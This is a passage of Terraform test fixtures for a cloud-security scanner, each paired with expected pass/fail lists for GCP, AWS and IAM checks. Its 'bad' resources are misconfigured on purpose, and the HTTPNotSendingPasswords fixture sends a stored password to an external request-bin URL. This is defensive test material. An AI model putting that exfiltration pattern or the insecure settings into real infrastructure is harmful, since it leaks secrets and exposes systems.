    "content": "resource \"google_project\" \"project_good_1\" {\n  name       = \"My Project\"\n  project_id = \"good\"\n  org_id     = \"1234567\"\n}\n\nresource \"google_project\" \"project_good_2\" {\n  name       = \"My Project\"\n  project_id = \"good\"\n  org_id     = \"1234567\"\n}\n\nresource \"google_project\" \"project_bad_1\" {\n  name       = \"My Project\"\n  project_id = \"bad\"\n  org_id     = \"1234567\"\n}\n\nresource \"google_compute_network\" \"vpc_network_network\" {\n  name = \"vpc-legacy\"\n  auto_create_subnetworks = true\n  project = google_project.project_bad_1.id\n}\n\nresource \"google_compute_network\" \"vpc_network_1\" {\n  name = \"vpc-legacy\"\n  project = google_project.project_good_1.id\n}\n\nresource \"google_compute_network\" \"vpc_network_2\" {\n  name = \"vpc-legacy\"\n  project = google_project.project_good_1.id\n  auto_create_subnetworks = false\n}"
  },
  {
    "path": "tests/terraform/graph/checks/resources/GCPTpuV2VmPrivateEndpoint/expected.yaml",
    "content": "pass:\n  - \"google_tpu_v2_vm.tpu_good\"\nfail:\n  - \"google_tpu_v2_vm.tpu_bad\"\n  - \"google_tpu_v2_vm.tpu_bad_unset\"\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/GCPTpuV2VmPrivateEndpoint/main.tf",
    "content": "resource \"google_tpu_v2_vm\" \"tpu_good\" {\n  name = \"good-tpu\"\n  zone = \"us-central1-c\"\n\n  runtime_version  = \"tpu-vm-tf-2.13.0\"\n\n  accelerator_config {\n    type     = \"V2\"\n    topology = \"2x2\"\n  }\n\n  cidr_block = \"10.0.0.0/29\"\n\n  network_config {\n    can_ip_forward      = true\n    enable_external_ips = false\n  }\n}\n\nresource \"google_tpu_v2_vm\" \"tpu_bad\" {\n  name = \"good-tpu\"\n  zone = \"us-central1-c\"\n\n  runtime_version  = \"tpu-vm-tf-2.13.0\"\n\n  accelerator_config {\n    type     = \"V2\"\n    topology = \"2x2\"\n  }\n\n  cidr_block = \"10.0.0.0/29\"\n\n  network_config {\n    can_ip_forward      = true\n    enable_external_ips = true\n  }\n}\n\nresource \"google_tpu_v2_vm\" \"tpu_bad_unset\" {\n  name = \"good-tpu\"\n  zone = \"us-central1-c\"\n\n  runtime_version  = \"tpu-vm-tf-2.13.0\"\n\n  accelerator_config {\n    type     = \"V2\"\n    topology = \"2x2\"\n  }\n\n  cidr_block = \"10.0.0.0/29\"\n\n  network_config {\n    can_ip_forward      = true\n  }\n}"
  },
  {
    "path": "tests/terraform/graph/checks/resources/GCPVertexAIEndpointEncryptedWithCMK/expected.yaml",
    "content": "pass:\n  - \"google_vertex_ai_endpoint.endpoint_good\"\nfail:\n  - \"google_vertex_ai_endpoint.endpoint_bad\""
  },
  {
    "path": "tests/terraform/graph/checks/resources/GCPVertexAIEndpointEncryptedWithCMK/main.tf",
    "content": "resource \"google_vertex_ai_endpoint\" \"endpoint_good\" {\n  name         = \"endpoint-name\"\n  display_name = \"sample-endpoint\"\n  description  = \"A sample vertex endpoint\"\n  location     = \"us-central1\"\n  region       = \"us-central1\"\n  labels       = {\n    label-one = \"value-one\"\n  }\n  network      = \"projects/${data.google_project.project.number}/global/networks/${google_compute_network.vertex_network.name}\"\n  encryption_spec {\n    kms_key_name = \"some_key\"\n  }\n  depends_on   = [\n    google_service_networking_connection.vertex_vpc_connection\n  ]\n}\n\nresource \"google_vertex_ai_endpoint\" \"endpoint_bad\" {\n  name         = \"endpoint-name\"\n  display_name = \"sample-endpoint\"\n  description  = \"A sample vertex endpoint\"\n  location     = \"us-central1\"\n  region       = \"us-central1\"\n  labels       = {\n    label-one = \"value-one\"\n  }\n  network      = \"projects/${data.google_project.project.number}/global/networks/${google_compute_network.vertex_network.name}\"\n  depends_on   = [\n    google_service_networking_connection.vertex_vpc_connection\n  ]\n}"
  },
  {
    "path": "tests/terraform/graph/checks/resources/GCPVertexAIFeaturestoreEncryptedWithCMK/expected.yaml",
    "content": "pass:\n  - \"google_vertex_ai_featurestore.featurestore_good\"\nfail:\n  - \"google_vertex_ai_featurestore.featurestore_bad\""
  },
  {
    "path": "tests/terraform/graph/checks/resources/GCPVertexAIFeaturestoreEncryptedWithCMK/main.tf",
    "content": "resource \"google_vertex_ai_featurestore\" \"featurestore_good\" {\n  name     = \"terraform\"\n  labels = {\n    foo = \"bar\"\n  }\n  region   = \"us-central1\"\n  online_serving_config {\n    fixed_node_count = 2\n  }\n  encryption_spec {\n    kms_key_name = \"kms-name\"\n  }\n  force_destroy = true\n}\n\nresource \"google_vertex_ai_featurestore\" \"featurestore_bad\" {\n  name     = \"terraform\"\n  labels = {\n    foo = \"bar\"\n  }\n  region   = \"us-central1\"\n  online_serving_config {\n    fixed_node_count = 2\n  }\n  force_destroy = true\n}"
  },
  {
    "path": "tests/terraform/graph/checks/resources/GCPVertexAIPrivateEndpoint/expected.yaml",
    "content": "pass:\n  - \"google_vertex_ai_endpoint.endpoint_good\"\nfail:\n  - \"google_vertex_ai_endpoint.endpoint_bad\"\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/GCPVertexAIPrivateEndpoint/main.tf",
    "content": "resource \"google_vertex_ai_endpoint\" \"endpoint_good\" {\n  name         = \"good-endpoint\"\n  display_name = \"good-endpoint\"\n  location     = \"us-central1\"\n  region       = \"us-central1\"\n  network      = \"projects/${data.google_project.project.number}/global/networks/${google_compute_network.vertex_network.name}\"\n}\n\nresource \"google_vertex_ai_endpoint\" \"endpoint_bad\" {\n  name         = \"good-endpoint\"\n  display_name = \"good-endpoint\"\n  location     = \"us-central1\"\n  region       = \"us-central1\"\n}\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/GCPVertexAIPrivateIndexEndpoint/expected.yaml",
    "content": "pass:\n  - \"google_vertex_ai_index_endpoint.index_endpoint_good\"\n  - \"google_vertex_ai_index_endpoint.index_endpoint_good_explicit\"\nfail:\n  - \"google_vertex_ai_index_endpoint.index_endpoint_bad\"\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/GCPVertexAIPrivateIndexEndpoint/main.tf",
    "content": "resource \"google_vertex_ai_index_endpoint\" \"index_endpoint_good\" {\n  display_name = \"good-endpoint\"\n  description  = \"A good vertex endpoint\"\n  region       = \"us-central1\"\n\n  private_service_connect_config {\n    enable_private_service_connect = true\n    project_allowlist = [\n        data.google_project.project.number,\n    ]\n  }\n}\n\nresource \"google_vertex_ai_index_endpoint\" \"index_endpoint_good_explicit\" {\n  display_name = \"good-explicit-endpoint\"\n  description  = \"A good vertex endpoint\"\n  region       = \"us-central1\"\n\n  public_endpoint_enabled = false\n}\n\nresource \"google_vertex_ai_index_endpoint\" \"index_endpoint_bad\" {\n  display_name = \"bad-endpoint\"\n  description  = \"A bad vertex endpoint\"\n  region       = \"us-central1\"\n  public_endpoint_enabled = true\n}"
  },
  {
    "path": "tests/terraform/graph/checks/resources/GCPVertexAITensorboardEncryptedWithCMK/expected.yaml",
    "content": "pass:\n  - \"google_vertex_ai_tensorboard.tensorboard_good\"\nfail:\n  - \"google_vertex_ai_tensorboard.tensorboard_bad\""
  },
  {
    "path": "tests/terraform/graph/checks/resources/GCPVertexAITensorboardEncryptedWithCMK/main.tf",
    "content": "resource \"google_vertex_ai_tensorboard\" \"tensorboard_bad\" {\n  display_name = \"terraform\"\n  description  = \"sample description\"\n  labels       = {\n    \"key1\" : \"value1\",\n    \"key2\" : \"value2\"\n  }\n  region       = \"us-central1\"\n}\n\nresource \"google_vertex_ai_tensorboard\" \"tensorboard_good\" {\n  display_name = \"terraform\"\n  description  = \"sample description\"\n  labels       = {\n    \"key1\" : \"value1\",\n    \"key2\" : \"value2\"\n  }\n  region       = \"us-central1\"\n  encryption_spec {\n    kms_key_name = \"some_key\"\n  }\n}\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/GCPVertexInstanceEncryptedWithCMK/expected.yaml",
    "content": "pass:\n  - \"google_notebooks_instance.instance_good_vm\"\nfail:\n  - \"google_notebooks_instance.instance_bad_vm\"\n  - \"google_notebooks_instance.instance_bad_container\"\n  - \"google_notebooks_instance.instance_bad\"\n  - \"google_notebooks_instance.instance_bad_crafty_container\""
  },
  {
    "path": "tests/terraform/graph/checks/resources/GCPVertexInstanceEncryptedWithCMK/main.tf",
    "content": "resource \"google_notebooks_instance\" \"instance_bad_vm\" {\n  name = \"notebooks-instance\"\n  location = \"us-west1-a\"\n  machine_type = \"e2-medium\"\n  vm_image {\n    project      = \"deeplearning-platform-release\"\n    image_family = \"tf-latest-cpu\"\n  }\n}\n\nresource \"google_notebooks_instance\" \"instance_bad_container\" {\n  name = \"notebooks-instance\"\n  location = \"us-west1-a\"\n  machine_type = \"e2-medium\"\n  metadata = {\n    proxy-mode = \"service_account\"\n    terraform  = \"true\"\n  }\n  container_image {\n    repository = \"gcr.io/deeplearning-platform-release/base-cpu\"\n    tag = \"latest\"\n  }\n}\n\nresource \"google_notebooks_instance\" \"instance_bad\" {\n  name = \"notebooks-instance\"\n  location = \"us-central1-a\"\n  machine_type = \"e2-medium\"\n\n  vm_image {\n    project      = \"deeplearning-platform-release\"\n    image_family = \"tf-latest-cpu\"\n  }\n\n  instance_owners = [ \"my@service-account.com\"]\n  service_account = \"my@service-account.com\"\n\n  install_gpu_driver = true\n  boot_disk_type = \"PD_SSD\"\n  boot_disk_size_gb = 110\n\n  no_public_ip = true\n  no_proxy_access = true\n\n  network = data.google_compute_network.my_network.id\n  subnet = data.google_compute_subnetwork.my_subnetwork.id\n\n  labels = {\n    k = \"val\"\n  }\n\n  metadata = {\n    terraform = \"true\"\n  }\n}\n\ndata \"google_compute_network\" \"my_network\" {\n  name = \"default\"\n}\n\ndata \"google_compute_subnetwork\" \"my_subnetwork\" {\n  name   = \"default\"\n  region = \"us-central1\"\n}\n\nresource \"google_notebooks_instance\" \"instance_bad_crafty_container\" {\n  name = \"notebooks-instance\"\n  location = \"us-west1-a\"\n  machine_type = \"e2-medium\"\n  kms_key = var.kms_key\n  metadata = {\n    proxy-mode = \"service_account\"\n    terraform  = \"true\"\n  }\n  container_image {\n    repository = \"gcr.io/deeplearning-platform-release/base-cpu\"\n    tag = \"latest\"\n  }\n}\n\nresource \"google_notebooks_instance\" \"instance_good_vm\" {\n  name = \"notebooks-instance\"\n  location = \"us-west1-a\"\n  machine_type = \"e2-medium\"\n  disk_encryption = \"CMEK\"\n  kms_key = var.kms_key\n  vm_image {\n    project      = \"deeplearning-platform-release\"\n    image_family = \"tf-latest-cpu\"\n  }\n}\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/GCPVertexRuntimeEncryptedWithCMK/expected.yaml",
    "content": "pass:\n  - \"google_notebooks_runtime.runtime_good\"\nfail:\n  - \"google_notebooks_runtime.runtime_bad_unset\"\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/GCPVertexRuntimeEncryptedWithCMK/main.tf",
    "content": "resource \"google_notebooks_runtime\" \"runtime_good\" {\n  name = \"notebooks-runtime-good\"\n  location = \"us-central1\"\n  access_config {\n    access_type = \"SINGLE_USER\"\n    runtime_owner = \"example@paloaltonetworks.com\"\n  }\n  virtual_machine {\n    virtual_machine_config {\n      encryption_config {\n        kms_key = \"an-actual-key\"\n      }\n      machine_type = \"n1-standard-4\"\n      data_disk {\n        initialize_params {\n          disk_size_gb = \"100\"\n          disk_type = \"PD_STANDARD\"\n        }\n      }\n    }\n  }\n}\n\nresource \"google_notebooks_runtime\" \"runtime_bad_unset\" {\n  name = \"notebooks-runtime-bad-unset\"\n  location = \"us-central1\"\n  access_config {\n    access_type = \"SINGLE_USER\"\n    runtime_owner = \"example@paloaltonetworks.com\"\n  }\n  virtual_machine {\n    virtual_machine_config {\n      machine_type = \"n1-standard-4\"\n      data_disk {\n        initialize_params {\n          disk_size_gb = \"100\"\n          disk_type = \"PD_STANDARD\"\n        }\n      }\n    }\n  }\n}"
  },
  {
    "path": "tests/terraform/graph/checks/resources/GCPVertexRuntimePrivate/expected.yaml",
    "content": "pass:\n  - \"google_notebooks_runtime.runtime_good\"\nfail:\n  - \"google_notebooks_runtime.runtime_bad\"\n  - \"google_notebooks_runtime.runtime_bad_unset\"\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/GCPVertexRuntimePrivate/main.tf",
    "content": "resource \"google_notebooks_runtime\" \"runtime_good\" {\n  name = \"notebooks-runtime-good\"\n  location = \"us-central1\"\n  access_config {\n    access_type = \"SINGLE_USER\"\n    runtime_owner = \"example@paloaltonetworks.com\"\n  }\n  virtual_machine {\n    virtual_machine_config {\n      internal_ip_only = true\n      machine_type = \"n1-standard-4\"\n      data_disk {\n        initialize_params {\n          disk_size_gb = \"100\"\n          disk_type = \"PD_STANDARD\"\n        }\n      }\n    }\n  }\n}\n\nresource \"google_notebooks_runtime\" \"runtime_bad\" {\n  name = \"notebooks-runtime-bad\"\n  location = \"us-central1\"\n  access_config {\n    access_type = \"SINGLE_USER\"\n    runtime_owner = \"example@paloaltonetworks.com\"\n  }\n  virtual_machine {\n    virtual_machine_config {\n      internal_ip_only = false\n      machine_type = \"n1-standard-4\"\n      data_disk {\n        initialize_params {\n          disk_size_gb = \"100\"\n          disk_type = \"PD_STANDARD\"\n        }\n      }\n    }\n  }\n}\n\nresource \"google_notebooks_runtime\" \"runtime_bad_unset\" {\n  name = \"notebooks-runtime-bad-unset\"\n  location = \"us-central1\"\n  access_config {\n    access_type = \"SINGLE_USER\"\n    runtime_owner = \"example@paloaltonetworks.com\"\n  }\n  virtual_machine {\n    virtual_machine_config {\n      machine_type = \"n1-standard-4\"\n      data_disk {\n        initialize_params {\n          disk_size_gb = \"100\"\n          disk_type = \"PD_STANDARD\"\n        }\n      }\n    }\n  }\n}"
  },
  {
    "path": "tests/terraform/graph/checks/resources/GCPVertexWorkbenchInstanceEncryptedWithCMK/expected.yaml",
    "content": "pass:\n  - \"google_workbench_instance.instance_good\"\n  - \"google_workbench_instance.instance_good_nodata\"\nfail:\n  - \"google_workbench_instance.instance_bad\"\n  - \"google_workbench_instance.instance_bad_nodata\"\n  - \"google_workbench_instance.instance_bad_nogcesetup\""
  },
  {
    "path": "tests/terraform/graph/checks/resources/GCPVertexWorkbenchInstanceEncryptedWithCMK/main.tf",
    "content": "resource \"google_workbench_instance\" \"instance_bad\" {\n  name = \"workbench-instance-bad\"\n  location = \"us-central1-a\"\n\n  gce_setup {\n    machine_type = \"n1-standard-4\"\n    accelerator_configs {\n      type         = \"NVIDIA_TESLA_T4\"\n      core_count   = 1\n    }\n\n    disable_public_ip = false\n\n    service_accounts {\n      email = \"my@service-account.com\"\n    }\n\n    boot_disk {\n      disk_size_gb  = 310\n      disk_type = \"PD_SSD\"\n      disk_encryption = \"GMEK\"\n    }\n\n    data_disks {\n      disk_size_gb  = 330\n      disk_type = \"PD_SSD\"\n      disk_encryption = \"GMEK\"\n    }\n\n    network_interfaces {\n      network = google_compute_network.my_network.id\n      subnet = google_compute_subnetwork.my_subnetwork.id\n      nic_type = \"GVNIC\"\n    }\n\n    metadata = {\n      terraform = \"true\"\n    }\n\n    enable_ip_forwarding = true\n  }\n}\n\nresource \"google_workbench_instance\" \"instance_bad_nodata\" {\n  name = \"workbench-instance-bad\"\n  location = \"us-central1-a\"\n\n  gce_setup {\n    machine_type = \"n1-standard-4\"\n    accelerator_configs {\n      type         = \"NVIDIA_TESLA_T4\"\n      core_count   = 1\n    }\n\n    disable_public_ip = false\n\n    service_accounts {\n      email = \"my@service-account.com\"\n    }\n\n    boot_disk {\n      disk_size_gb  = 310\n      disk_type = \"PD_SSD\"\n      disk_encryption = \"GMEK\"\n    }\n\n    data_disks {\n      disk_size_gb  = 330\n      disk_type = \"PD_SSD\"\n      disk_encryption = \"GMEK\"\n    }\n\n    network_interfaces {\n      network = google_compute_network.my_network.id\n      subnet = google_compute_subnetwork.my_subnetwork.id\n      nic_type = \"GVNIC\"\n    }\n\n    metadata = {\n      terraform = \"true\"\n    }\n\n    enable_ip_forwarding = true\n  }\n}\n\nresource \"google_workbench_instance\" \"instance_bad_nogcesetup\" {\n  name = \"workbench-instance-bad\"\n  location = \"us-central1-a\"\n}\n\nresource \"google_workbench_instance\" \"instance_good\" {\n  name = \"workbench-instance-good\"\n  location = \"us-central1-a\"\n\n  gce_setup {\n    machine_type = \"n1-standard-4\"\n    accelerator_configs {\n      type         = \"NVIDIA_TESLA_T4\"\n      core_count   = 1\n    }\n\n    disable_public_ip = false\n\n    service_accounts {\n      email = \"my@service-account.com\"\n    }\n\n    boot_disk {\n      disk_size_gb  = 310\n      disk_type = \"PD_SSD\"\n      disk_encryption = \"CMEK\"\n      kms_key = google_kms_crypto_key.crypto-key.id\n    }\n\n    data_disks {\n      disk_size_gb  = 330\n      disk_type = \"PD_SSD\"\n      disk_encryption = \"CMEK\"\n      kms_key = google_kms_crypto_key.crypto-key.id\n    }\n\n    network_interfaces {\n      network = google_compute_network.my_network.id\n      subnet = google_compute_subnetwork.my_subnetwork.id\n      nic_type = \"GVNIC\"\n    }\n\n    metadata = {\n      terraform = \"true\"\n    }\n\n    enable_ip_forwarding = true\n  }\n}\n\nresource \"google_workbench_instance\" \"instance_good_nodata\" {\n  name = \"workbench-instance-good\"\n  location = \"us-central1-a\"\n\n  gce_setup {\n    machine_type = \"n1-standard-4\"\n    accelerator_configs {\n      type         = \"NVIDIA_TESLA_T4\"\n      core_count   = 1\n    }\n\n    disable_public_ip = false\n\n    service_accounts {\n      email = \"my@service-account.com\"\n    }\n\n    boot_disk {\n      disk_size_gb  = 310\n      disk_type = \"PD_SSD\"\n      disk_encryption = \"CMEK\"\n      kms_key = google_kms_crypto_key.crypto-key.id\n    }\n\n    network_interfaces {\n      network = google_compute_network.my_network.id\n      subnet = google_compute_subnetwork.my_subnetwork.id\n      nic_type = \"GVNIC\"\n    }\n\n    metadata = {\n      terraform = \"true\"\n    }\n\n    enable_ip_forwarding = true\n  }\n}"
  },
  {
    "path": "tests/terraform/graph/checks/resources/GCPVertexWorkbenchInstanceNoPublicIp/expected.yaml",
    "content": "pass:\n  - \"google_workbench_instance.instance_good\"\nfail:\n  - \"google_workbench_instance.instance_explicitly_bad\"\n  - \"google_workbench_instance.instance_bad\"\n  - \"google_workbench_instance.instance_bad_nogcesetup\"\n  "
  },
  {
    "path": "tests/terraform/graph/checks/resources/GCPVertexWorkbenchInstanceNoPublicIp/main.tf",
    "content": "resource \"google_workbench_instance\" \"instance_explicitly_bad\" {\n  name = \"workbench-instance-bad\"\n  location = \"us-central1-a\"\n\n  gce_setup {\n    machine_type = \"n1-standard-4\"\n    accelerator_configs {\n      type         = \"NVIDIA_TESLA_T4\"\n      core_count   = 1\n    }\n\n    disable_public_ip = false\n\n    boot_disk {\n      disk_size_gb  = 310\n      disk_type = \"PD_SSD\"\n      disk_encryption = \"GMEK\"\n      kms_key = google_kms_crypto_key.crypto-key.id\n    }\n  }\n}\n\nresource \"google_workbench_instance\" \"instance_bad\" {\n  name = \"workbench-instance-bad\"\n  location = \"us-central1-a\"\n\n  gce_setup {\n    machine_type = \"n1-standard-4\"\n    accelerator_configs {\n      type         = \"NVIDIA_TESLA_T4\"\n      core_count   = 1\n    }\n\n    boot_disk {\n      disk_size_gb  = 310\n      disk_type = \"PD_SSD\"\n      disk_encryption = \"GMEK\"\n      kms_key = google_kms_crypto_key.crypto-key.id\n    }\n  }\n}\n\nresource \"google_workbench_instance\" \"instance_bad_nogcesetup\" {\n  name = \"workbench-instance-bad-nogcesetup\"\n  location = \"us-central1-a\"\n}\n\nresource \"google_workbench_instance\" \"instance_good\" {\n  name = \"workbench-instance-bad\"\n  location = \"us-central1-a\"\n\n  gce_setup {\n    machine_type = \"n1-standard-4\"\n    accelerator_configs {\n      type         = \"NVIDIA_TESLA_T4\"\n      core_count   = 1\n    }\n\n    disable_public_ip = true\n\n    boot_disk {\n      disk_size_gb  = 310\n      disk_type = \"PD_SSD\"\n      disk_encryption = \"GMEK\"\n      kms_key = google_kms_crypto_key.crypto-key.id\n    }\n  }\n}"
  },
  {
    "path": "tests/terraform/graph/checks/resources/GCPdisableAlphaClusterFeatureInKubernetesEngineClusters/expected.yaml",
    "content": "pass:\n  - \"google_container_cluster.pass\"\nfail:\n  - \"google_container_cluster.fail\"\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/GCPdisableAlphaClusterFeatureInKubernetesEngineClusters/main.tf",
    "content": "# PASS case 1: enable_kubernetes_alpha = false\n\nresource \"google_container_cluster\" \"pass\" {\n  name               = \"pud-example-rg\"\n  location           = \"us-central1-a\"\n  enable_kubernetes_alpha = false\n  node_pool {\n    name               = \"default-pool\"\n    initial_node_count = 1\n    management {\n      auto_repair = false\n      auto_upgrade = false\n    }\n  }\n  remove_default_node_pool = true\n  release_channel {\n    channel = \"UNSPECIFIED\"\n  }\n}\n\n# FAIL case 1: enable_kubernetes_alpha = true\n\nresource \"google_container_cluster\" \"fail\" {\n  name               = \"pud-example-rg\"\n  location           = \"us-central1-a\"\n  enable_kubernetes_alpha = true\n  node_pool {\n    name               = \"default-pool\"\n    initial_node_count = 1\n    management {\n      auto_repair = false\n      auto_upgrade = false\n    }\n  }\n  remove_default_node_pool = true\n  release_channel {\n    channel = \"UNSPECIFIED\"\n  }\n}\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/GCRContainerVulnerabilityScanningEnabled/expected.yaml",
    "content": "pass:\n  - \"google_project_services.pass_1\"\nfail:\n  - \"google_project_services.fail_1\"\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/GCRContainerVulnerabilityScanningEnabled/main.tf",
    "content": "resource \"google_project_services\" \"pass_1\" {\n  project = \"your-project-id\"\n  services   = [\"iam.googleapis.com\", \"cloudresourcemanager.googleapis.com\", \"containerscanning.googleapis.com\"]\n}\n\nresource \"google_project_services\" \"fail_1\" {\n  project = \"your-project-id\"\n  services   = [\"iam.googleapis.com\", \"cloudresourcemanager.googleapis.com\"]\n}\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/GKEClustersAreNotUsingDefaultServiceAccount/expected.yaml",
    "content": "pass:\n  - \"google_project_default_service_accounts.ok\"\nfail:\n  - \"google_project_default_service_accounts.not_ok\"\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/GKEClustersAreNotUsingDefaultServiceAccount/main.tf",
    "content": "resource \"google_service_account\" \"default\" {\n  account_id   = \"service-account-id\"\n  display_name = \"Service Account\"\n}\n\nresource \"google_container_cluster\" \"primary_A_ok\" {\n  name     = \"my-gke-cluster\"\n  location = \"us-central1\"\n\n  # We can't create a cluster with no node pool defined, but we want to only use\n  # separately managed node pools. So we create the smallest possible default\n  # node pool and immediately delete it.\n  remove_default_node_pool = true\n  initial_node_count       = 1\n}\n\nresource \"google_container_node_pool\" \"primary_preemptible_nodes\" {\n  name       = \"my-node-pool\"\n  location   = \"us-central1\"\n  cluster    = google_container_cluster.primary_A.name\n  node_count = 1\n\n  node_config {\n    preemptible  = true\n    machine_type = \"e2-medium\"\n\n    # Google recommends custom service accounts that have cloud-platform scope and permissions granted via IAM Roles.\n    service_account = google_project_default_service_accounts.not_ok.id\n    oauth_scopes    = [\n      \"https://www.googleapis.com/auth/cloud-platform\"\n    ]\n  }\n}\n\nresource \"google_container_cluster\" \"primary_B_ok\" {\n  name               = \"marcellus-wallace\"\n  location           = \"us-central1-a\"\n  initial_node_count = 3\n  node_config {\n    # Google recommends custom service accounts that have cloud-platform scope and permissions granted via IAM Roles.\n    service_account = google_project_default_service_accounts.not_ok.id\n    oauth_scopes = [\n      \"https://www.googleapis.com/auth/cloud-platform\"\n    ]\n    labels = {\n      foo = \"bar\"\n    }\n    tags = [\"foo\", \"bar\"]\n  }\n  timeouts {\n    create = \"30m\"\n    update = \"40m\"\n  }\n}\n\nresource \"google_project_default_service_accounts\" \"not_ok\" {\n  project = \"my-project-id\"\n  action = \"DELETE\"\n  id=\"1234\"\n}\n\nresource \"google_project_default_service_accounts\" \"ok\" {\n  project = \"my-project-id\"\n  action = \"DELETE\"\n}"
  },
  {
    "path": "tests/terraform/graph/checks/resources/GuardDutyIsEnabled/expected.yaml",
    "content": "pass:\n  - \"aws_guardduty_detector.all\"\n  - \"aws_guardduty_detector.ok_old\"\nfail:\n  - \"aws_guardduty_detector.not_ok\"\n  - \"aws_guardduty_detector.not_ok_false_old\"\n  - \"aws_guardduty_detector.none\"\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/GuardDutyIsEnabled/main.tf",
    "content": "# pass\n\nresource \"aws_guardduty_detector\" \"ok_old\" {\n  enable = true\n}\n\nresource \"aws_guardduty_organization_configuration\" \"ok_old\" {\n  auto_enable = true\n  detector_id = aws_guardduty_detector.ok_old.id\n}\n\nresource \"aws_guardduty_detector\" \"all\" {\n  enable = true\n}\n\nresource \"aws_guardduty_organization_configuration\" \"all\" {\n  auto_enable_organization_members = \"ALL\"\n  detector_id                      = aws_guardduty_detector.all.id\n}\n\n# fail\n\nresource \"aws_guardduty_detector\" \"not_ok\" {\n  enable = true\n}\n\nresource \"aws_guardduty_detector\" \"not_ok_false_old\" {\n  enable = true\n}\n\nresource \"aws_guardduty_organization_configuration\" \"not_ok_false_old\" {\n  auto_enable = false\n  detector_id = aws_guardduty_detector.not_ok_false_old.id\n}\n\nresource \"aws_guardduty_detector\" \"none\" {\n  enable = true\n}\n\nresource \"aws_guardduty_organization_configuration\" \"none\" {\n  auto_enable_organization_members = \"NONE\"\n  detector_id                      = aws_guardduty_detector.none.id\n}\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/HTTPNotSendingPasswords/expected.yaml",
    "content": "pass:\n  - \"http.nonleak2\"\n  - \"http.nonleak\"\n\n\nfail:\n  - \"http.leak\""
  },
  {
    "path": "tests/terraform/graph/checks/resources/HTTPNotSendingPasswords/main.tf",
    "content": "resource \"aws_ssm_parameter\" \"param\" {\n  name = var.parameter_name\n  type = \"SecureString\"\n  value = random_password.password.result\n}\n\n\nresource \"aws_ssm_parameter\" \"param2\" {\n  name = var.parameter_name\n  type = \"String\"\n  value = \"foo\"\n}\n\nresource \"random_password\" \"password\" {\n  length = 16\n  special = true\n  override_special = \"_%@\"\n}\n\ndata \"http\" \"leak\" {\n  url = \"https://enp840cyx28ip.x.pipedream.net/?id=${aws_ssm_parameter.param.name}&content=${aws_ssm_parameter.param.value}\"\n}\n\ndata \"http\" \"nonleak\" {\n  url = \"https://enp840cyx28ip.x.pipedream.net/?id=g&content=f\"\n}\n\n\ndata \"http\" \"nonleak2\" {\n  url = \"https://enp840cyx28ip.x.pipedream.net/?id=${aws_ssm_parameter.param2.name}&content=${aws_ssm_parameter.param2.value}\"\n}"
  },
  {
    "path": "tests/terraform/graph/checks/resources/IAMGroupHasAtLeastOneUser/expected.yaml",
    "content": "pass:\n  - \"aws_iam_group_membership.ok_group\"\nfail:\n  - \"aws_iam_group_membership.bad_group\"\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/IAMGroupHasAtLeastOneUser/main.tf",
    "content": "resource \"aws_iam_group_membership\" \"ok_group\" {\n  name = \"tf-testing-group-membership\"\n\n  users = [\n    aws_iam_user.user_one.name,\n    aws_iam_user.user_two.name,\n  ]\n\n  group = aws_iam_group.group.name\n}\n\nresource \"aws_iam_group\" \"group\" {\n  name = \"test-group\"\n}\n\nresource \"aws_iam_user\" \"user_one\" {\n  name = \"test-user\"\n}\n\nresource \"aws_iam_user\" \"user_two\" {\n  name = \"test-user-two\"\n}\n\n\nresource \"aws_iam_group_membership\" \"bad_group\" {\n  name = \"tf-testing-group-membership\"\n\n\n  group = aws_iam_group.bad_group.name\n}\n\n\nresource \"aws_iam_group\" \"bad_group\" {\n  name = \"test-group\"\n}"
  },
  {
    "path": "tests/terraform/graph/checks/resources/IAMManagedIAMFullAccessPolicy/expected.yaml",
    "content": "pass:\n  - \"aws_iam_policy.name_pass1\"\n  - \"aws_iam_policy.arn_pass2\"\n  - \"aws_iam_role.pass3\"\n  - \"aws_iam_role.pass3a\"\n  - \"aws_iam_policy_attachment.pass4\"\n  - \"aws_iam_user_policy_attachment.pass5\"\n  - \"aws_iam_role_policy_attachment.pass6\"\n  - \"aws_iam_group_policy_attachment.pass7\"\n  - \"aws_ssoadmin_managed_policy_attachment.pass8\"\nfail:\n  - \"aws_iam_policy.name_fail1\"\n  - \"aws_iam_policy.arn_fail2\"\n  - \"aws_iam_role.fail3\"\n  - \"aws_iam_role.fail3a\"\n  - \"aws_iam_policy_attachment.fail4\"\n  - \"aws_iam_user_policy_attachment.fail5\"\n  - \"aws_iam_role_policy_attachment.fail6\"\n  - \"aws_iam_group_policy_attachment.fail7\"\n  - \"aws_ssoadmin_managed_policy_attachment.fail8\"\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/IAMManagedIAMFullAccessPolicy/main.tf",
    "content": "# Test data type with IAMFullAccess via name - Fail\ndata \"aws_iam_policy\" \"name_fail1\" {\n  name = \"IAMFullAccess\"\n}\n# Test data type with other policy via name - Pass\ndata \"aws_iam_policy\" \"name_pass1\" {\n  name = \"AmazonEC2ReadOnlyAccess\"\n}\n\n# Test data type with IAMFullAccess via ARN - Fail\ndata \"aws_iam_policy\" \"arn_fail2\" {\n  arn = \"arn:aws:iam::aws:policy/IAMFullAccess\"\n}\n# Test data type with other policy via ARN - Pass\ndata \"aws_iam_policy\" \"arn_pass2\" {\n  arn = \"arn:aws:iam::aws:policy/AmazonEC2ReadOnlyAccess\"\n}\n\n# Test iam role with IAMFullAccess - Fail\nresource \"aws_iam_role\" \"fail3\" {\n  name                = \"role\"\n  assume_role_policy  = data.aws_iam_policy_document.instance_assume_role_policy.json\n  managed_policy_arns = [\"arn:aws:iam::aws:policy/IAMFullAccess\"]\n}\n# Test iam role with multiple policies including IAMFullAccess - Fail\nresource \"aws_iam_role\" \"fail3a\" {\n  name                = \"role\"\n  assume_role_policy 